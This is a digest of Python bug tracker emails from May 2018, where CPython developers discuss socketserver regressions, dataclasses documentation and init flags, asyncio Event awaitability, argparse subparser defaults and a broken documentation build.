Message-ID: <1526488010.83.0.682650639539.issue33540@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6580 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:27:39 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 16:27:39 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> Message-ID: <1526488059.05.0.682650639539.issue33540@psf.upfronthosting.co.za> STINNER Victor added the comment: I consider that it's a regression, so I pick the release blocker priority. Sorry Ned! ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:27:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 16:27:49 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> Message-ID: <1526488069.83.0.682650639539.issue33540@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +christian.heimes, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:28:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 16:28:12 +0000 Subject: [issue31151] socketserver.ForkingMixIn.server_close() leaks zombie processes In-Reply-To: <1502239239.94.0.0719119279673.issue31151@psf.upfronthosting.co.za> Message-ID: <1526488092.68.0.682650639539.issue31151@psf.upfronthosting.co.za> STINNER Victor added the comment: I created bpo-33540: "socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close()". I set the release blocker priority on this new issue. ---------- priority: deferred blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:28:14 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 16:28:14 +0000 Subject: [issue31233] socketserver.ThreadingMixIn leaks running threads after server_close() In-Reply-To: <1503073499.39.0.93886151367.issue31233@psf.upfronthosting.co.za> Message-ID: <1526488094.04.0.682650639539.issue31233@psf.upfronthosting.co.za> STINNER Victor added the comment: I created bpo-33540: "socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close()". I set the release blocker priority on this new issue. ---------- priority: deferred blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:28:24 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 16:28:24 +0000 Subject: [issue33536] dataclasses.make_dataclass does not validate fields for being valid identifiers In-Reply-To: <1526476551.58.0.682650639539.issue33536@psf.upfronthosting.co.za> Message-ID: <1526488104.91.0.682650639539.issue33536@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 6409e759df0654f4a081eb4a50aadde995382043 by Miss Islington (bot) in branch '3.7': bpo-33536: Validate make_dataclass() field names. (GH-6906) https://github.com/python/cpython/commit/6409e759df0654f4a081eb4a50aadde995382043 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:35:00 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 16:35:00 +0000 Subject: [issue24318] Better documentaiton of profile-opt (and release builds in general?) In-Reply-To: <1432830865.51.0.995414707141.issue24318@psf.upfronthosting.co.za> Message-ID: <1526488500.17.0.682650639539.issue24318@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 447fdd178f1007294db38bf0392a0cf74a49d460 by Miss Islington (bot) in branch '3.7': bpo-24318: Rewrite the README PGO section. (GH-6863) https://github.com/python/cpython/commit/447fdd178f1007294db38bf0392a0cf74a49d460 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:42:41 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 16:42:41 +0000 Subject: [issue33543] `make html` broken Message-ID: <1526488961.65.0.682650639539.issue33543@psf.upfronthosting.co.za> New submission from Barry A. Warsaw : Building the documentation in the master (3.8) branch is currently broken: % make html make html mkdir -p build Building NEWS from Misc/NEWS.d with blurb PATH=./venv/bin:$PATH sphinx-build -b html -d build/doctrees -D latex_elements.papersize= . build/html Running Sphinx v1.7.4 loading pickled environment... not yet created Theme error: no theme named 'python_docs_theme' found (missing theme.conf?) make: *** [build] Error 2 ---------- assignee: docs at python components: Documentation messages: 316838 nosy: barry, docs at python priority: normal severity: normal status: open title: `make html` broken versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:44:27 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 16:44:27 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526489067.05.0.682650639539.issue32216@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: I've got a branch that cleans up and updates the dataclasses documentation, so I'm reopening this issue and piggybacking my PR on it. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:44:54 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 16:44:54 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526489094.69.0.682650639539.issue32216@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: ...although I unfortunately cannot build it because of Issue33543 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:45:48 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 16:45:48 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526489148.35.0.682650639539.issue32216@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- pull_requests: +6581 stage: resolved -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:56:16 2018 From: report at bugs.python.org (Zachary Ware) Date: Wed, 16 May 2018 16:56:16 +0000 Subject: [issue33543] `make html` broken In-Reply-To: <1526488961.65.0.682650639539.issue33543@psf.upfronthosting.co.za> Message-ID: <1526489776.29.0.682650639539.issue33543@psf.upfronthosting.co.za> Zachary Ware added the comment: Try `make venv && make html`. ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:57:54 2018 From: report at bugs.python.org (Jason Fried) Date: Wed, 16 May 2018 16:57:54 +0000 Subject: [issue33544] Asyncio Event.wait() and Condition.wait() is a hold over from before awaitable, and should be awaitable Message-ID: <1526489874.13.0.682650639539.issue33544@psf.upfronthosting.co.za> New submission from Jason Fried : wait is a very overloaded word in asyncio. Events and Conditions are not consistent with the rest of asyncio. Why don't Future and Task have wait() methods? well because they are awaitable Some subjective reasoning: Every time I go to use one of these things, I attempt to await them like everything else in the Asyncio world and get a nice exception for it. await event vs await event.wait() I propose we make conditions and events awaitable and deprecate the .wait or at-least remove it from the documentation. ---------- components: asyncio messages: 316842 nosy: asvetlov, fried, lukasz.langa, yselivanov priority: normal severity: normal status: open title: Asyncio Event.wait() and Condition.wait() is a hold over from before awaitable, and should be awaitable type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 13:00:04 2018 From: report at bugs.python.org (Eryk Sun) Date: Wed, 16 May 2018 17:00:04 +0000 Subject: [issue33451] Start pyc file lock the file In-Reply-To: <1525898638.9.0.682650639539.issue33451@psf.upfronthosting.co.za> Message-ID: <1526490004.64.0.682650639539.issue33451@psf.upfronthosting.co.za> Eryk Sun added the comment: In Python/pythonrun.c, PyRun_SimpleFileExFlags() reopens the PYC file in binary mode, passes it to run_pyc_file(), and only closes it after executing the script. The file should instead be closed in run_pyc_file(), before calling PyEval_EvalCode(). ---------- nosy: +eryksun versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 13:12:40 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 16 May 2018 17:12:40 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526490760.89.0.682650639539.issue32604@psf.upfronthosting.co.za> Change by Eric Snow : ---------- pull_requests: +6582 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 13:32:45 2018 From: report at bugs.python.org (merelymoray) Date: Wed, 16 May 2018 17:32:45 +0000 Subject: [issue33545] Docs for uuid don't mention that uuid1 can repeat in some circumstances Message-ID: <1526491965.86.0.682650639539.issue33545@psf.upfronthosting.co.za> New submission from merelymoray : https://docs.python.org/3.6/library/uuid.html#uuid.UUID uuid.uuid1(node=None, clock_seq=None) Generate a UUID from a host ID, sequence number, and the current time. If node is not given, getnode() is used to obtain the hardware address. If clock_seq is given, it is used as the sequence number; otherwise a random 14-bit sequence number is chosen. ^^ This neglects to mention that if you call uuid1() in quick succession with no parameters, you can get a repeat uuid. I had a bug because of this. It would have been nice if the docs mentioned the fact directly. It's only a sentence to add, and would have saved a lot of time. ---------- assignee: docs at python components: Documentation messages: 316844 nosy: docs at python, merelymoray priority: normal severity: normal status: open title: Docs for uuid don't mention that uuid1 can repeat in some circumstances type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 13:34:05 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 17:34:05 +0000 Subject: [issue33543] `make html` broken In-Reply-To: <1526488961.65.0.682650639539.issue33543@psf.upfronthosting.co.za> Message-ID: <1526492045.1.0.682650639539.issue33543@psf.upfronthosting.co.za> Ned Deily added the comment: Or just "make venv html". If you already have sphinx installed somewhere, you can just: pip install python-docs-theme ---------- nosy: +ned.deily resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 13:42:48 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 17:42:48 +0000 Subject: [issue5286] urrlib2 digest authentication problems In-Reply-To: <1234828359.04.0.561116090692.issue5286@psf.upfronthosting.co.za> Message-ID: <1526492568.79.0.682650639539.issue5286@psf.upfronthosting.co.za> Petr Viktorin added the comment: I withdraw the patch (and I should have done that years ago). Nowadays, hopefully Requests does the right thing. ---------- resolution: -> out of date stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:00:50 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 18:00:50 +0000 Subject: [issue33536] dataclasses.make_dataclass does not validate fields for being valid identifiers In-Reply-To: <1526476551.58.0.682650639539.issue33536@psf.upfronthosting.co.za> Message-ID: <1526493650.62.0.682650639539.issue33536@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:09:03 2018 From: report at bugs.python.org (Jason Fried) Date: Wed, 16 May 2018 18:09:03 +0000 Subject: [issue33544] Asyncio Event.wait() is a hold over from before awaitable, and should be awaitable In-Reply-To: <1526489874.13.0.682650639539.issue33544@psf.upfronthosting.co.za> Message-ID: <1526494143.21.0.682650639539.issue33544@psf.upfronthosting.co.za> Jason Fried added the comment: Removed Condition from this request, because it has an __await__ method for supporting the the deprecated pattern with async cond: I'll open a different bug, for Condition behavior for 3.9 when we can remove the deprecated pattern. ---------- title: Asyncio Event.wait() and Condition.wait() is a hold over from before awaitable, and should be awaitable -> Asyncio Event.wait() is a hold over from before awaitable, and should be awaitable _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:12:06 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 16 May 2018 18:12:06 +0000 Subject: [issue23402] dynload_shlib does not close ldl handles when the interpreter is shut down In-Reply-To: <1423246900.58.0.18702391948.issue23402@psf.upfronthosting.co.za> Message-ID: <1526494326.28.0.682650639539.issue23402@psf.upfronthosting.co.za> Change by Eric Snow : ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:12:10 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 16 May 2018 18:12:10 +0000 Subject: [issue14597] Cannot unload dll in ctypes until script exits In-Reply-To: <1334581773.77.0.209505875468.issue14597@psf.upfronthosting.co.za> Message-ID: <1526494330.49.0.682650639539.issue14597@psf.upfronthosting.co.za> Change by Eric Snow : ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:12:15 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 16 May 2018 18:12:15 +0000 Subject: [issue1144263] reload() is broken for C extension objects Message-ID: <1526494335.71.0.682650639539.issue1144263@psf.upfronthosting.co.za> Change by Eric Snow : ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:12:24 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 16 May 2018 18:12:24 +0000 Subject: [issue401713] Free extension DLLs' handles during the Py_Finalize() Message-ID: <1526494344.55.0.682650639539.issue401713@psf.upfronthosting.co.za> Change by Eric Snow : ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:14:36 2018 From: report at bugs.python.org (Roundup Robot) Date: Wed, 16 May 2018 18:14:36 +0000 Subject: [issue13631] readline fails to parse some forms of .editrc under editline (libedit) emulation on Mac OS X In-Reply-To: <1324267597.43.0.334578978638.issue13631@psf.upfronthosting.co.za> Message-ID: <1526494476.81.0.682650639539.issue13631@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6583 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:15:50 2018 From: report at bugs.python.org (Jason Fried) Date: Wed, 16 May 2018 18:15:50 +0000 Subject: [issue33544] Asyncio Event.wait() is a hold over from before awaitable, and should be awaitable In-Reply-To: <1526489874.13.0.682650639539.issue33544@psf.upfronthosting.co.za> Message-ID: <1526494550.68.0.682650639539.issue33544@psf.upfronthosting.co.za> Change by Jason Fried : ---------- keywords: +patch pull_requests: +6584 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:25:47 2018 From: report at bugs.python.org (Jason Fried) Date: Wed, 16 May 2018 18:25:47 +0000 Subject: [issue33546] asyncio.Condition should become awaitable in 3.9 Message-ID: <1526495147.79.0.682650639539.issue33546@psf.upfronthosting.co.za> New submission from Jason Fried : In 3.9 we can remove the deprecated pattern for accepting __enter__ and __exit__ for locks. This will free up __await__ for Condition to use for replacing .wait() which is wart from before awaitables. My new proposed behavior is await cond which would be equivalent of: async with cond: await cond.wait() ---------- components: asyncio messages: 316848 nosy: asvetlov, fried, lukasz.langa, yselivanov priority: normal severity: normal status: open title: asyncio.Condition should become awaitable in 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 14:36:58 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 18:36:58 +0000 Subject: [issue33543] `make html` broken In-Reply-To: <1526492045.1.0.682650639539.issue33543@psf.upfronthosting.co.za> Message-ID: Barry A. Warsaw added the comment: On May 16, 2018, at 13:34, Ned Deily wrote: > > Or just "make venv html". Shouldn?t the html target depend on venv then? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:01:00 2018 From: report at bugs.python.org (ioanatia) Date: Wed, 16 May 2018 19:01:00 +0000 Subject: [issue1025395] email.Utils.parseaddr fails to parse valid addresses Message-ID: <1526497260.11.0.682650639539.issue1025395@psf.upfronthosting.co.za> Change by ioanatia : ---------- keywords: +patch pull_requests: +6585 stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:05:00 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 16 May 2018 19:05:00 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526497500.21.0.682650639539.issue32604@psf.upfronthosting.co.za> Eric Snow added the comment: New changeset 6d2cd9036c0ab78a83de43d1511befb7a7fc0ade by Eric Snow in branch 'master': bpo-32604: Improve subinterpreter tests. (#6914) https://github.com/python/cpython/commit/6d2cd9036c0ab78a83de43d1511befb7a7fc0ade ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:05:05 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 16 May 2018 19:05:05 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526497505.3.0.682650639539.issue21145@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I agree this would be a useful addition to the stdlib. The code might seem reasonably short, but implementing new descriptors is an advanced topic (I'd rather avoid it myself). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:21:17 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 19:21:17 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526498477.15.0.682650639539.issue33539@psf.upfronthosting.co.za> Eric V. Smith added the comment: Larry points out that one potential use case is a base class that defines some awesome __init__ that you want to use. Without init=False, there?s no good way to use it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:26:33 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Wed, 16 May 2018 19:26:33 +0000 Subject: [issue33533] Provide an async-generator version of as_completed In-Reply-To: <1526453333.0.0.682650639539.issue33533@psf.upfronthosting.co.za> Message-ID: <1526498793.98.0.682650639539.issue33533@psf.upfronthosting.co.za> Change by Hrvoje Nik?i? : ---------- type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:30:00 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Wed, 16 May 2018 19:30:00 +0000 Subject: [issue33544] Asyncio Event.wait() is a hold over from before awaitable, and should be awaitable In-Reply-To: <1526489874.13.0.682650639539.issue33544@psf.upfronthosting.co.za> Message-ID: <1526499000.66.0.682650639539.issue33544@psf.upfronthosting.co.za> Hrvoje Nik?i? added the comment: Deprecating Event.wait would be incorrect because Event was designed to mimic the threading.Event class which has a (blocking) wait() method[1]. Supporting `await event` is still worthwhile, though. [1] https://docs.python.org/2/library/threading.html#threading.Event.wait ---------- nosy: +hniksic _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:50:09 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 19:50:09 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526500209.75.0.682650639539.issue32216@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: New changeset 713a9367366c88662c39ed20dd6bce22399299f1 by Barry Warsaw in branch 'master': bpo-32216: Update dataclasses documentation (#6913) https://github.com/python/cpython/commit/713a9367366c88662c39ed20dd6bce22399299f1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:51:17 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 19:51:17 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526500277.26.0.682650639539.issue32216@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6586 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:51:39 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 19:51:39 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526500299.98.0.682650639539.issue33109@psf.upfronthosting.co.za> Change by Ned Deily : ---------- keywords: +patch pull_requests: +6587 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:51:40 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 19:51:40 +0000 Subject: [issue26510] [argparse] Add required argument to add_subparsers In-Reply-To: <1457445361.5.0.530669445668.issue26510@psf.upfronthosting.co.za> Message-ID: <1526500300.19.0.0935424498089.issue26510@psf.upfronthosting.co.za> Change by Ned Deily : ---------- pull_requests: +6588 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:52:10 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 19:52:10 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526500330.32.0.682650639539.issue32216@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 15:56:39 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 19:56:39 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526500599.51.0.682650639539.issue33539@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: Really? Why doesn't this work in the derived dataclass? def __init__(self, *args, **kws): super().__init__(*args, **kws) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:01:49 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 20:01:49 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526500909.35.0.682650639539.issue33537@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: Thanks, I will add an __all__ _zipimport_get_resource_reader gets called from C and it's the way we trampoline from the inscrutable zipimport.c into something we can more reasonably implement the ResourceReader API. There's a comment above _ZipImportResourceReader but do you think that's easy to miss or misunderstand? The use of builtins_open is historical; the importlib.resources name used to be `open`. I think we can get rid of this cruft, as it's just an implementation detail. I'll work on a PR ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:02:15 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 20:02:15 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526500935.08.0.682650639539.issue33537@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- assignee: -> barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:05:07 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 20:05:07 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1526501107.5.0.682650639539.issue33435@psf.upfronthosting.co.za> Petr Viktorin added the comment: I understand that's what distro (https://github.com/nir0s/distro) is based on -- but a lot of complexity is required on top of that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:06:06 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 20:06:06 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526501166.36.0.682650639539.issue33109@psf.upfronthosting.co.za> Ned Deily added the comment: Several of the core developers here at the PyCon US sprints in Cleveland have discussed this issue. It seems like there legitimate arguments for either behavior. But, while none of us are argparse experts, we all were persuaded by Wolfgang's and Brian's arguments that preserving compatibility with 3.6 (and recent earlier 3.x releases) should be given more weight than attempting to restore 2.7 behavior at this point. We specifically did not get into the finer points of argparse behavior and any other proposed argparse change. Unless someone comes up with a more persuasive argument, I intend to merge this change for 3.7.0rc1 in a few days. ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:09:21 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 20:09:21 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526501361.94.0.682650639539.issue33539@psf.upfronthosting.co.za> Eric V. Smith added the comment: I think the concern is: from dataclasses import * class B: def __init__(self, a, b, c): # do something with a, b, c, and maybe use fields(self) to figure out we have a "i" field self.i = a + b + c @dataclass(init=False) class C(B) i: int c = C(1, 2, 3) It doesn't seem particularly likely, but do we want to prevent it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:12:41 2018 From: report at bugs.python.org (Anthony Sottile) Date: Wed, 16 May 2018 20:12:41 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526501561.41.0.682650639539.issue33109@psf.upfronthosting.co.za> Anthony Sottile added the comment: Considering the huge popularity of these SO questions, I don't think this should be reverted: - https://stackoverflow.com/questions/23349349/argparse-with-required-subparser - https://stackoverflow.com/questions/22990977/why-does-this-argparse-code-behave-differently-between-python-2-and-3 See also: the confusion caused by the 3.3 change: https://bugs.python.org/issue9253 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:23:05 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 20:23:05 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526502185.1.0.682650639539.issue33537@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- pull_requests: +6589 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:35:04 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 20:35:04 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526501361.94.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: Barry A. Warsaw added the comment: On May 16, 2018, at 16:09, Eric V. Smith wrote: > > I think the concern is: > > from dataclasses import * > > class B: > def __init__(self, a, b, c): > # do something with a, b, c, and maybe use fields(self) to figure out we have a "i" field > self.i = a + b + c > > @dataclass(init=False) > class C(B) > i: int > > c = C(1, 2, 3) > > It doesn't seem particularly likely, but do we want to prevent it? What are the intended semantics of this? I know what happens; c.i == 6 So, if I remove `init=False` and add an explicit __init__(), the same thing still happens. Is that good enough? from dataclasses import * class B: def __init__(self, a, b, c): # do something with a, b, c, and maybe use fields(self) to figure out we # have a "i" field self.i = a + b + c @dataclass class C(B): i: int def __init__(self, a, b, c): super().__init__(a, b, c) c = C(1, 2, 3) (Or maybe it?s the ?use fields(self)? bit that you?re pointing out?) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:37:17 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 20:37:17 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526503037.12.0.682650639539.issue32216@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: New changeset 0c62e09774e445a185fd192524454ce697ca123b by Barry Warsaw (Miss Islington (bot)) in branch '3.7': bpo-32216: Update dataclasses documentation (GH-6913) (#6918) https://github.com/python/cpython/commit/0c62e09774e445a185fd192524454ce697ca123b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:46:34 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 20:46:34 +0000 Subject: [issue33543] `make html` broken In-Reply-To: <1526488961.65.0.682650639539.issue33543@psf.upfronthosting.co.za> Message-ID: <1526503594.52.0.682650639539.issue33543@psf.upfronthosting.co.za> Ned Deily added the comment: > Shouldn?t the html target depend on venv then? Back when we added support for blurb, I tried to make it such that "make html" could easily use already installed versions of sphinx-build and blurb and not require a venv. I had a particular use case for that. But if someone wants to modify the Docs Makefile to require using the venv recipe, I wouldn't object too strongly. Another approach, I guess, would be to check that the python-docs-theme is available to sphinx-build and give a better message: not sure how best to do that in the current Makefile. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:46:59 2018 From: report at bugs.python.org (Rolf Campbell) Date: Wed, 16 May 2018 20:46:59 +0000 Subject: [issue33547] Relative imports do not replace local variables Message-ID: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> New submission from Rolf Campbell : Relative imports do not replace local variables, but also don't fail. This can cause some very strange outcomes like this simple example: touch a.py; python3.6 -c 'a=7; b=5; from . import a as b; print(a,b)' I would expect this to produce "7 ", but instead, it produces "7 7". Tested in v3.6.2 and v3.6.5: Python 3.6.5 (default, Mar 29 2018, 18:20:46) [GCC 8.0.1 20180317 (Red Hat 8.0.1-0.19)] on linux ---------- components: Interpreter Core messages: 316864 nosy: Rolf Campbell priority: normal severity: normal status: open title: Relative imports do not replace local variables 